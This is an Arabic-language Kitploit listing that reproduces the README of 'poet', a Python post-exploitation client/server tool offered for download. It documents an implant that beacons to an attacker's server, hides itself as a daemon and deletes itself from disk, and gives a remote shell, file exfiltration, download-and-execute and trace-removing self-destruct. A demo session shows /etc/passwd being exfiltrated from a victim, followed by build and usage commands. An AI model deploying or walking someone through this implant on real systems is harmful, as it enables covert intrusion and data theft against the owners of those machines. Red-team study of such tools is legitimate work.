Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
poet — [غير مُدعَم] أداة ما بعد الاستغلال | Kitploit
أدوات/GitHubGitHub/offlinemark/poet
الاستطلاعتوليد الحمولةتسريب البياناتما بعد الاستغلالالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
GitHubofflinemark/poet

poet

[غير مُدعَم] أداة ما بعد الاستغلال

عرض المستودع
18150منذ 10 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

poet

أداة بسيطة لما بعد الاستغلال.

نظرة عامة

يعمل برنامج العميل على الجهاز المستهدف ويتم تكوينه بعنوان IP (الخادم) للاتصال به، وتردد للاتصال. إذا لم يكن الخادم قيد التشغيل عندما يحاول العميل الاتصال، ينتظر العميل بهدوء ويحاول مرة أخرى في الفترة التالية. أما إذا كان الخادم قيد التشغيل، فسيحصل المهاجم على شل تحكم للتحكم في العميل وتنفيذ إجراءات متنوعة على الهدف بما في ذلك:

  • الاستطلاع
  • شل عن بعد
  • تسريب الملفات
  • التنزيل والتنفيذ
  • التدمير الذاتي

عرض توضيحي

هذه مجرد عينة صغيرة مما يمكن أن يفعله Poet.

السيناريو هو: تمكن المهاجم من الوصول إلى جهاز الضحية وقام بتحميل وتنفيذ العميل. الخادم ليس قيد التشغيل في هذه المرحلة، لكن لا بأس، فالعميل ينتظر بصبر. في النهاية، يكون المهاجم جاهزًا ويبدأ الخادم، أولاً يبدأ شل وينفذ uname -a، ثم يسرب /etc/passwd. ثم يخرج وينفصل عن العميل، الذي يستمر في العمل على الهدف منتظرًا الفرصة التالية للاتصال بالخادم. لاحقًا، يتصل مرة أخرى، ويدمر العميل ذاتيًا، ويزيل كل الآثار من الهدف.

جهاز الضحية (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

تحذير: بعد تشغيل هذا الأمر، ستحتاج إما إلى تشغيل selfdestruct من الخادم، أو قتل عملية poet-client لإيقاف العميل.

جهاز المهاجم (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

البدء

اذهب إلى صفحة الإصدارات وقم بتنزيل أحدث ملفات poet-client و poet-server المتاحة.

ثم انتقل إلى قسم الاستخدام أدناه.

بدلاً من ذلك، يمكنك بناء Poet بنفسك (الأمر سهل جدًا، انظر أدناه).

البناء

تأكد من توفر الملفات التنفيذية python2.7 و zip.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

سيؤدي ذلك إلى إنشاء دليل bin/ يحتوي على poet-client و poet-server.

الاستخدام

Poet سهل الاستخدام للغاية، ولا يتطلب أكثر من مكتبة Python القياسية (2.7). لاختباره بسهولة، قد يبدو الاستدعاء النموذجي كما يلي:

الطرفية 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

افتراضيًا، يقوم عميل Poet بتحويل نفسه إلى خفي وحذف نفسه من القرص، لذلك يتم منع هذا السلوك باستخدام العلامات --debug و --no-selfdestruct.

الطرفية 2:

root@kitploit:~
$ sudo ./poet-server

افتراضيًا، يجب تشغيل الخادم كجذر (باستخدام sudo) لأن المنفذ الافتراضي الذي يرتبط به هو 443. إذا كان ذلك يزعجك، ببساطة احذف sudo واستخدم العلامة -p <PORT> على كل من العميل والخادم. اختر رقم منفذ عالٍ (> 1024).

الإعدادات

يحتوي ملف common/config.py على إعدادات تكوين اختيارية لبناءات Poet.

  • AUTH: رمز مصادقة سري مشترك بين العميل والخادم لمصادقة العميل. لاحظ أن الافتراضي هو أي شيء سري. لأي استخدام غير اختباري، يوصى بتغييره إلى قيمة أخرى غير قابلة للتخمين. لاحظ أن الحزم المبنية مسبقًا تستخدم رمز المصادقة العام الافتراضي.
  • ARCHIVE_DIR: الدليل الذي يستخدمه الخادم لتخزين الملفات (مخرجات التنفيذ، التسريب، الاستطلاع، إلخ).
  • SERVER_IP: عنوان IP الخاص بالخادم.
  • BEACON_INTERVAL: الثواني بين إشارات العميل إلى الخادم.

تسمح إعدادات SERVER_IP و BEACON_INTERVAL بتضمين المعلومات التي كانت مطلوبة سابقًا في وسائط سطر الأوامر في الملفات التنفيذية النهائية بحيث يمكن تشغيل الملف التنفيذي النهائي ببساطة بدون وسائط. القيم None لأي منهما تؤدي إلى العودة إلى السلوك الافتراضي (وسيطة سطر أوامر مطلوبة لـ SERVER_IP، وسيطة سطر أوامر اختيارية لـ BEACON_INTERVAL).

العميل

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet هو تطبيق عميل/خادم. يتم تنفيذ العميل على الهدف ويقوم بالإشارة إلى الخادم بفاصل زمني معين. الوسيطة الوحيدة المطلوبة هي عنوان IP حيث يعمل الخادم أو سيعمل. يمكن أن يتبعها اختياريًا الفاصل الزمني بالثواني لعدد مرات الإشارة، والذي يكون افتراضيًا 10 دقائق. يمكن تحديد المنفذ الذي يخرج منه العميل باستخدام العلامة -p. لن يتم استخدام جميع العلامات الأخرى أثناء الاستخدام "الحقيقي" وهي موجودة أساسًا للتصحيح.

المخدم

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

يتم تنفيذ الخادم على جهاز المستخدم الخاص ويستمع لإشارات العميل. افتراضيًا، يستمع على منفذ متميز (443) ويجب تشغيله بصلاحيات (يتم إسقاطها بسرعة بعد الربط). يمكن استخدام العلامة -p لتجاوز ذلك عن طريق اختيار منفذ غير متميز للاستماع عليه (>1024).

قابلية التوسعة

Poet قابل للتوسعة بشكل كبير من خلال إطار الوحدات الخاص به، في الواقع، كل أمر تقريبًا متاح في شل posh يتم تنفيذه كوحدة. يمكن عرضها في دليل common/modules/. يعمل common/modules/template.py كمثال مبسط للوحدة، ليتم استخدامه كنقطة بداية. لإضافة وحدة Poet، ببساطة ضعها في دليل common/modules/ وأعد بناء Poet باستخدام make.

هذا مثال بسيط لوحدة يظهر التواصل الأساسي بين العميل والخادم. الوحدة تسجل أمر posh، وترسل سلسلة، يعكسها العميل ويرسلها مرة أخرى، ويطبعها الخادم.

root@kitploit:~
# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

تبدأ الوحدة بـ

root@kitploit:~
import module

هذا مطلوب، وهو ضروري للتسجيل في إطار الوحدة.

القسم التالي هو مكون الوحدة من جانب الخادم.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

يتم استخدام decorator @module.server_handler() لتسجيل أمر posh عن طريق تمرير اسم الأمر كمعامل decorator وتعريف دالة معالج لتنفيذها عند تشغيل الأمر. يجب أن تقبل دالة المعالج معاملين. أحدهما هو مثيل PoetServer الذي استدعى الوحدة، والآخر هو سلسلة الأمر المدخلة، ممثلة كقائمة من الوسائط. مثيل الخادم موجود لتمكين الوحدة من استخدام دوال مساعدة للتواصل مع العميل، وكتابة الملفات إلى دليل الأرشيف، إلخ. تستخدم الوحدة server.conn.exchange() لإرسال سطر الأوامر المدخل كسلسلة إلى العميل والحصول على الاستجابة كقيمة إرجاع.

مكون الوحدة من جانب العميل هو التالي.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

يتم استخدام decorator @module.client_handler() لتسجيل مهمة للعميل للتفاعل معها ومعالجتها. نظرًا لأن العميل والخادم يتواصلان عن طريق تمرير سلاسل بينهما، فإن الجزء الأول من السلسلة هو الكلمة الأساسية لمهمة معينة. تقوم الوحدة بتسجيل دالة معالج عميل لتنفيذها عند وصول رسالة من الخادم تبدأ بـ 'reverse'. على غرار معالج الخادم، يجب أن يقبل معالج العميل معاملات لمثيل PoetClient الذي استدعاه، وسلسلة الإدخال المرسلة من الخادم. ثم يستخدم العميل دالة client.s.send() لإرسال البيانات مرة أخرى إلى الخادم، في هذه الحالة، الوسيطة الأولى، معكوسة.

عند التطبيق، يبدو هذا كالتالي

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

مخاوف

المخاوف الموثقة:

  • عدم وجود اتصالات محمية تشفيريًا
  • الإشارات ذات الفاصل الزمني المنخفض تكون مزعجة وتولد TCP RSTs عندما يكون الخادم غير نشط
  • أمر shell ليس شل "حقيقي" ولا يدعم معظم الأوامر المضمنة الموجودة في الأصداف القياسية

إخلاء مسؤولية

أنا أبني Poet لأغراض تعليمية وتجربة شخصية بحتة. الكود متاح بحرية لأنني أعتقد أنه قد يكون مفيدًا للآخرين المهتمين بتعلم هذا النوع من الأشياء. استخدمه بمسؤولية.

تنزيل الأداة